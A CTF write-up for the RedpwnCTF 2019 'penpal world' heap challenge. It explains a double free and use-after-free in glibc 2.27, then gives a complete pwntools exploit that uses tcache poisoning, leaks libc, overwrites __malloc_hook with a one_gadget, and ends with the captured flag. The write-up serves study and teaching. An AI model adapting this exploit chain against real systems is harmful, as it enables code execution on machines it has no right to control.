[Pwn] RedpwnCTF - penpal world

penpal world

Description:
436

Written by: jespiron

Please don’t decimate this cute lil ish; write your grandmother a smol parcel of love instead~

nc chall2.2019.redpwn.net 4010
penpal_world
libc-2.27.so

Introduction

From the challenge is provided its binary and libc.
Lets first extract some information:

1
2
$ file penpal_world
penpal_world: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=195416fc8622b4f9906da0915a9abb1dfde40e13, not stripped

With file command we now know:

  • ELF compiled for x86_x64 architecture.
  • Dynamically linked.
  • Not stripped.

Let’s check the enabled protections with checksec:

1
2
3
4
5
6
7
$ checksec penpal_world
[*] '/ctf/redpwn/pwn/pepal_world/penpal_world'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

Protections:

  • FULL RELRO (GOT entries are read only we can’t overwrite them)
  • STACK CANARY (The stack is protected with the canary if there is a stack overflow we need to find a way to leak it)
  • The Stack is not executable (We can’t execute shellcode techniques like ROP can bypass this)
  • PIE (Position Independent Executable) is on (If we want to use rop we need a way to leak the base address)

Running the binary

Lets first run the binary to see how it works

We are presented with a menu where we can create,edit,discard and read a postcard:

1
2
3
4
5
6
$ ./penpal_world
OPTIONS
1) Create a postcard
2) Edit a postcard
3) Discard a postcard
4) Read a postcard

Analysing the binary for a vulnerability

Using ida to check on the main loop:

Lets check create_card:

edit_card time:

The vulnerability is in discard_card:

display function doesn’t have anything special it does control the indexes and you can print the cards as well.

Exploit

First we need to check which libc version is used on the server, since we are provided with the libc file from the challenge, we know that it’s using libc-2.27 since version 2.26 it implements the tcache concept that is used to cache free chunks in the heap before adding them to the libc freelist.

Now all heap chunks of size < 0x410 are treated as tcache chunks. When freed they go into their respective tcache bins.

The good thing about this unlike normal chunks and luckly in this libc version there is no security checks making it easier to exploit. Thus we can double free and malloc without any size checks.

The exploit plan is the following one:

  • Leak the heap address by reading the fd pointer after freeing;
  • Find a way to overwrite the size of a chunk to 0x91 (so when we free it it goes to unsorted bin instead);
  • Fill the tcache unsorted tcache bin list (max 7);
  • After tcache unsorted bin is full the next free will put into a normal unsorted bin with that we can leak libc;
  • Tricking malloc() into returning the address of __malloc_hook ;
  • Overwrite __malloc_hook with the address of a one gadget ;
  • Trigger the hook using malloc()!

Setting up the environment for pwn ctf challenges

Now there is a small problem, if you want to debug the binary with the right libc version you either find the right linux docker container that uses that version that libc as default or you LD_PRELOAD it, to do it you need to compile that specific version.

for example to do this manually:

1
2
3
cp /glibc/2.27/64/lib/ld-2.27.so /tmp/ld-2.27.so
patchelf --set-interpreter /tmp/ld-2.27.so ./test
LD_PRELOAD=./libc.so.6 ./test

Or using pwntools

1
2
from pwn import *
p = process(["/path/to/ld.so", "./test"], env={"LD_PRELOAD":"/path/to/libc.so.6"})

Luckily someone did the dirty work for us, this docker container contains multiple compiled libcs and also the default libc coming with the system is libc-2.27.so the one we need.

The github link: https://github.com/skysider/pwndocker
The docker hub link: https://hub.docker.com/r/skysider/pwndocker

I don’t recommend going with the LD_PRELOAD way, sure you can debug it with the right version but remember this, some offsets when leaking libc will be different from the server ones because you’re preloading it with the ld.so, if you choose to go this way remember to adapt those offsets to the right ones.

Leak heap address

This the structure of of a chunk:

1
2
3
4
5
6
7
8
9
10
11
12
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ <-- Chunk start
| PREV_SIZE OR USER DATA |
+---------------------------------+-+-+-+
| CHUNK SIZE |A|M|P|
+---------------------------------+-+-+-+
| FORWARD POINTER(FD) | <-- All freechunks
| BACK POINTER(BK) | <-- normalchunk or larger
| NEXT BIGGER POINTER (fd_nextsize) | <-- Only if largechunk
| PREVIOUS SMALLER PTR(bk_nextsize) | <-- Only if largechunk
| - - - - - - - - - - - - - | <-- End of this chunk.
| PREV_SIZE |
+---------------------------------------+

The mallocs we can do are limited to 0x48 size, which is within tcache fast bin range. Since it’s a tcache bin freed items will be kept in a single-linked list. When the first fastchunk is free()‘d, it sets its FD pointer to NULL because there wasn’t any freed item yet, if we free a second item the FD pointer will be set to the previous chunk freed, by using UAF vulnerability we can print this pointer thus leaking it’s heap address, let’s start by writing our python script to do this.

Some introductory stuff we can add I’m using pwntools which is a very handy framework for pwn you can find it at https://github.com/Gallopsled/pwntools

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

host, port = "chall2.2019.redpwn.net", "4010"
filename = "./penpal_world"
elf = ELF(filename)
context.arch = 'amd64'

if not args.REMOTE:
libc = elf.libc
else:
libc = ELF('./libc-2.27.so')

def getConn():
return process(filename) if not args.REMOTE else remote(host, port)

Since PIE is enabled we need to get its base address, to debug it in gdb we can use this function to do it:

1
2
3
def get_PIE(proc):
memory_map = open("/proc/{}/maps".format(proc.pid),"rb").readlines()
return int(memory_map[0].split("-")[0],16)

If you’re LD_PRELOAD the libc version you need to change the index of memory_map to 5:

1
2
3
def get_PIE(proc):
memory_map = open("/proc/{}/maps".format(proc.pid),"rb").readlines()
return int(memory_map[5].split("-")[0],16)

If you’re using gdb.attach from pwntools and you’re inside a docker container remember it won’t detect the terminal to open the specific gdb window, we can use tmux for example but we need to specified it by doing this:

1
2
3
4
context.terminal = ['tmux', 'new-window']
r = getConn()
if not args.REMOTE and args.GDB:
debug([0xb11])

Open two windows logged in the docker container, the 1st one run your script and on the 2nd one open tmux, when running the script gdb will automaticity open with the specified breakpoints we set in the debug list:

Now that we can debug and open gdb in a very easy way it’s time to write the functions to add,free,edit and print:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def add(index):
r.sendlineafter('4) Read a postcard\n',str(1))
r.sendlineafter('Which envelope #?\n', str(index))

def edit(index, content):
r.sendlineafter('4) Read a postcard\n',str(2))
r.sendlineafter('Which envelope #?\n', str(index))
r.sendafter('Write.\n', content)

def free(index):
r.sendlineafter('4) Read a postcard\n',str(3))
r.sendlineafter('Which envelope #?\n', str(index))

def read(index):
r.sendlineafter('4) Read a postcard\n',str(4))
r.sendlineafter('Which envelope #?\n', str(index))

To leak an address we can for example allocate a chunk and then double free it, we then proceed to read its fd pointer which will point to the first freed chunk, this chunks will be inserted into a tcache bin due to its size of 0x48.

Lets put a breakpoint on free and look how the first chunk looks like before free it the first time:

1
2
3
4
5
6
add(0)
edit(0, 'A'*0x30 + p64(0x0)+ p64(0x51))
free(0)
free(0) # DOUBLE FREE (no security checks while in tcache at this libc version)
read(0) # LEAK HEAP
r.interactive()

Gdb output:

Now let’s take a look after the 1st free:

Lets check how tcache fast bin list is looking by using tcachebins on pwngdb:

After 2nd free (Double free)

Lets check again how tcache bin list is looking by using tcachebins on pwngdb:

Now if we read the card at index 0 we will get a heap leak!

1
2
3
4
5
6
7
add(0)
edit(0, 'A'*0x30 + p64(0x0)+ p64(0x51))
free(0)
free(0) # DOUBLE FREE (no security checks while in tcache at this libc version)
read(0) # LEAK HEAP
heap = u64(r.recv(6).ljust(8, '\x00'))-0x60
log.info('0x%x'%heap)

Results:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ python test.py
[*] '/ctf/work/pwn/pepal_world/penpal_world'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './penpal_world': pid 2596
[*] 0x55d9117e3200
[*] Stopped process './penpal_world' (pid 2596)

LEAKING LIBC

We can only do mallocs of size 0x48, we somehow need to overwrite the size of one chunk because fastbin chunk sizes will only get us heap addresses, in order to leak a libc address we need a unsorted bin chunk size for example 0x91 will do it.

Perhaps since this version of libc uses tcache, at every chunk bellow 0x410 are treated as it was a fastbin chunk even if we free a 0x91 chunk we will not get a libc address, luckily there is a limit to the tcache which is 7 we need to fill a tcache bin of size 0x91, we can do it by freeing that chunk 7 times the 8th time will be treated as an unsorted bin updating both fd and bk pointers into libc addresses.

But to overwrite the size of a chunk we need to use the tcache poisoning attack you can find an example here.

In the end we want malloc to return an arbitrary address where we can start writing stuff into an address that is able to overwrite the size of 0x51 to 0x91, when malloc executes it will try to find a chunk in the tcache bin of that size so it can reuse the same space in memory from previous freed chunks, if we modify the fd pointer with UAF, malloc will instead return the pointer we modified getting us an arbitrary write.

First we need to find a cool address we can write to, we already leaked a heap address, we just need to find the offset near the 0x51 size, we can do it with this:

The code to overwrite the size would look like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
add(0)
edit(0, 'A'*0x30 + p64(0x0)+ p64(0x51))
free(0)
free(0) # DOUBLE FREE (no security checks while in tcache at this libc version)
read(0) # LEAK HEAP
heap = u64(r.recv(6).ljust(8, '\x00'))-0x60
edit(0,p64(heap+0x90)) # change the fd pointer to get arbitrary write with malloc
add(0) # MALLOC RETURNS heap+0x60 tchachebin(0x50): heap+0x60 -> heap+0x90 <- 0x0
add(1) # MALLOC RETURNS heap+0x90 tchachebin(0x50): heap+0x90 <- 0x0
add(0) # NEW ALLOCATION (NO MEMORY REUSE) ALLOCATE CHUNK B and prevent merge with top chunk
edit(0, 'B'*0x30 + p64(0x0)+ p64(0x51))
free(0)
edit(1,p64(0)+p64(0x91)+p64(0)+p64(0x91)) # OVERWRITES THE SIZE OF CHUNK 'B'

After changing the FD with edit we need to do two mallocs until we get the right pointer, because on the first two frees the single linked list of the tcache chunks(0x50) is like this:

1
heap+0x60 -> heap+0x60 <- 0x0

After editing the FD with heap+0x90 we get this:

1
heap+0x60 -> heap+0x90 <- 0x0

The list after the first malloc:

1
heap+0x90 <- 0x0

The list after the second malloc:

1
0x0 (empty)

The next step is to fill tcache bin (0x90) remember the max is 7 so we need to free 7 times.

Also we need to add 2 new chunks and create two fake chunks in the end to bypass the security check from int_free, since it isn’t a tcache bin we need to worry about that.

The size field of the next chunk should correspond to the size that has overwritten the size of chunk B and with a valid size with its flag prev_in_use set to 1.

The lowest bit of size is the prev_in_use flag, 0x51 represented in binary is 01010001, the lowest bit is set to one.

PREV_INUSE, records whether the previous chunk is allocated. In general, the P bit of the size field of the first allocated memory block in the heap is set to 1 to prevent access to the previous illegal memory. When the P bit of the size of a chunk is 0, we can get the size and address of the previous chunk through the prev_size field.

The Chunk C is for this security check https://github.com/lunaczp/glibc-2.27/blob/master/malloc/malloc.c#L4280

The Chunk D is to prevent going into unlink at https://github.com/lunaczp/glibc-2.27/blob/master/malloc/malloc.c#L4303 :

if we set nextinuse into 1 we won’t get an error at https://github.com/lunaczp/glibc-2.27/blob/master/malloc/malloc.c#L1405 because we don’t even enter at unlink

One final thing, we already knew that we needed to set a fake chunk at chunk C with prev_in_use to 1 but why the size of 0x50 ? as you can see the function that calculates the offset to the prev_in_use of the fake chunk at chunk D uses function inuse_bit_at_offset which uses the size of previous 0x50(variable s) to find chunks D prev_in_use.

1
2
3
4
5
6
7
8
9
add(1)
edit(1,('C'*0x30 +p64(0x0)+p64(0x51))) # TO PREVENT double free or corruption (!prev)
add(1)
edit(1, ('D'*0x30+p64(0x0)+p64(0x01))) # TO PREVENT corrupted size vs. prev_size (as long as prev_in_use is set any values work (0x1,0x51,0x61 etc..)
for i in range(7): # Filling tcachebin
free(0)
free(0) # free unsortedbin
read(0) # LEAK LIBC
l = u64(r.recv(6).ljust(8,'\x00'))

Lets see how this looks in GDB, this is the look of tcache bins(0x90) after the 7 frees:

Now the 8th free which is the unsorted bin:

Overwrite __malloc_hook with the address of a one gadget

Malloc hook executes with malloc (it’s used for debugging) initially is set to 0x0 , using TCACHE POISONING we can overwrite its address with the address of onegadget. Getting a free shell after triggering malloc.

Getting the onegadget offset using https://github.com/david942j/one_gadget

1
2
3
4
5
6
7
8
9
10
11
12
one_gadget libc-2.27.so 
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

The offset that works with the restriction is 0x10a38c.
Making malloc to return the address of __malloc_hook and overwriting it with onegadget:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
LIBC_BASE = l-0x3ebca0
MALLOC_HOOK = LIBC_BASE+libc.symbols['__malloc_hook']
FREE_HOOK = LIBC_BASE+libc.symbols['__free_hook']
ONE_GADGET = LIBC_BASE+0x10a38c

#########################################################
################################### OVERWRITE MALLOC_HOOK
free(1)
edit(1,p64(MALLOC_HOOK)) # change the address of FD to MALLOC_HOOK
add(0)
add(0) # returns the address of malloc_hook
edit(0,p64(ONE_GADGET)) # Overwrites content of malloc_hook to ONE_GADGET
add(0) # trigers malloc hook
#########################################################
r.interactive()

The full exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
from pwn import *

host, port = "chall2.2019.redpwn.net", "4010"
filename = "./penpal_world"
elf = ELF(filename)
context.arch = 'amd64'

#libc = ELF('/glibc/2.27/64/lib/libc.so.6')
if not args.REMOTE:
libc = elf.libc#ELF('/glibc/2.27/64/lib/libc-2.27.so')
else:
libc = ELF('./libc-2.27.so')
#rop=ROP([libc])
def getConn():
return process(filename) if not args.REMOTE else remote(host, port)

def get_PIE(proc):
memory_map = open("/proc/{}/maps".format(proc.pid),"rb").readlines()
return int(memory_map[0].split("-")[0],16)

def debug(bp):
#bp = [0xea0,0xd31,0xc52]
#bp = [0x00000dfb,0x00000b7c,0x00000d10]
script = ""
PIE = get_PIE(r)
PAPA = PIE
for x in bp:
script += "b *0x%x\n"%(PIE+x)
gdb.attach(r,gdbscript=script)

def add(index):
r.sendlineafter('4) Read a postcard\n',str(1))
r.sendlineafter('Which envelope #?\n', str(index))
#r.sendlineafter()
def edit(index, content):
r.sendlineafter('4) Read a postcard\n',str(2))
r.sendlineafter('Which envelope #?\n', str(index))
r.sendafter('Write.\n', content)

def free(index):
r.sendlineafter('4) Read a postcard\n',str(3))
r.sendlineafter('Which envelope #?\n', str(index))
#r.recvuntil('Command me: ')

def read(index):
r.sendlineafter('4) Read a postcard\n',str(4))
r.sendlineafter('Which envelope #?\n', str(index))

context.terminal = ['tmux', 'new-window']
r = getConn()
if not args.REMOTE and args.GDB:
debug([0xb11,0x9b3])#0xb11,0x9b3]) #0x9b3 0xB11 0xa7c

####################################### LEAK FUCKING LIBC
add(0)
edit(0, 'A'*0x30 + p64(0x0)+ p64(0x51))
free(0)
free(0) # DOUBLE FREE (no security checks while in tcache at this libc version)
read(0) # LEAK HEAP
heap = u64(r.recv(6).ljust(8, '\x00'))-0x60
log.info('0x%x'%heap)
log.info('0x%x'%(heap+0x100))
edit(0,p64(heap+0x90)) # change the fd pointer to get arbitrary write with malloc
add(0) # MALLOC RETURNS heap+0x60 tchachebin(0x50): heap+0x60 -> heap+0x90 <- 0x0
add(1) # MALLOC RETURNS heap+0x90 tchachebin(0x50): heap+0x90 <- 0x0
add(0) # NEW ALLOCATION (NO MEMORY REUSE) THIS ONE IS DONE HERE TO PREVENT MERGE WITH TOP CHUNK
edit(0, 'B'*0x30 + p64(0x0)+ p64(0x51))
edit(1,p64(0)+p64(0x91)+p64(0)+p64(0x91)) # OVERWRITES THE SIZE OF CHUNK 'B'

add(1) # TO PREVENT FREE ERRORS WHEN FREEING AN UNSORTED BIN
edit(1,('C'*0x30 +p64(0x0)+p64(0x51)))
add(1) # TO PREVENT FREE ERRORS WHEN FREEING AN UNSORTED BIN
edit(1, ('D'*0x30+p64(0x0)+p64(0x51)))
for i in range(7): # Filling tcachebin
free(0)
free(0) # free unsortedbin
read(0) # LEAK LIBC
l = u64(r.recv(6).ljust(8,'\x00'))
#log.info(hex(rop.search(regs=['rdi'], order = 'regs').address))
LIBC_BASE = l-0x3ebca0
MALLOC_HOOK = LIBC_BASE+libc.symbols['__malloc_hook']
FREE_HOOK = LIBC_BASE+libc.symbols['__free_hook']
SYSTEM = LIBC_BASE+ libc.symbols['system']
BINSH = LIBC_BASE+ libc.search('/bin/sh').next()
ONE_GADGET = LIBC_BASE+0x10a38c
POPRDI = LIBC_BASE+0x2155f # pop rdi ; ret

log.info("MAIN ARENA+0x96 0x%x"%l)
log.info("LIBCBASE 0x%x"%LIBC_BASE)
log.info("ONEGADGET 0x%x"%ONE_GADGET)
log.info("MALLOC HOOK 0x%x"%MALLOC_HOOK)
log.info("FREE HOOK 0x%x"%FREE_HOOK)
log.info("SYSTEM 0x%x"%SYSTEM)
log.info("BIN_SH 0x%x"%BINSH)
log.info("POP RDI 0x%x"%POPRDI)
log.info("JUMP 0x%x"%(heap+0x150))#0x1d8b6b0))

log.info("HEAP 0x%x"%(heap)) #24
log.info("NEXT HEAP 0x%x"%(heap+0x130))
#########################################################
################################### OVERWRITE MALLOC_HOOK
free(1)
edit(1,p64(MALLOC_HOOK)) # change the address of FD to MALLOC_HOOK
add(0)
add(0) # returns the address of malloc_hook
edit(0,p64(ONE_GADGET)) # Overwrites content of malloc_hook to ONE_GADGET
add(0) # trigers malloc hook
#########################################################
r.interactive()

Running it

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ root@redpwn:/ctf/work/pwn/pepal_world# python penpal_world.py REMOTE
[*] '/ctf/work/pwn/pepal_world/penpal_world'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/ctf/work/pwn/pepal_world/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to chall2.2019.redpwn.net on port 4010: Done
[*] 0x561de3031200
[*] 0x561de3031300
[*] MAIN ARENA+0x96 0x7f79a7fe2ca0
[*] LIBCBASE 0x7f79a7bf7000
[*] ONEGADGET 0x7f79a7d0138c
[*] MALLOC HOOK 0x7f79a7fe2c30
[*] FREE HOOK 0x7f79a7fe48e8
[*] SYSTEM 0x7f79a7c46440
[*] BIN_SH 0x7f79a7daae9a
[*] POP RDI 0x7f79a7c1855f
[*] JUMP 0x561de3031350
[*] HEAP 0x561de3031200
[*] NEXT HEAP 0x561de3031330
[*] Switching to interactive mode
$ cat flag.txt
flag{0h_n0e5_sW1p3r_d1D_5w!peEEeE}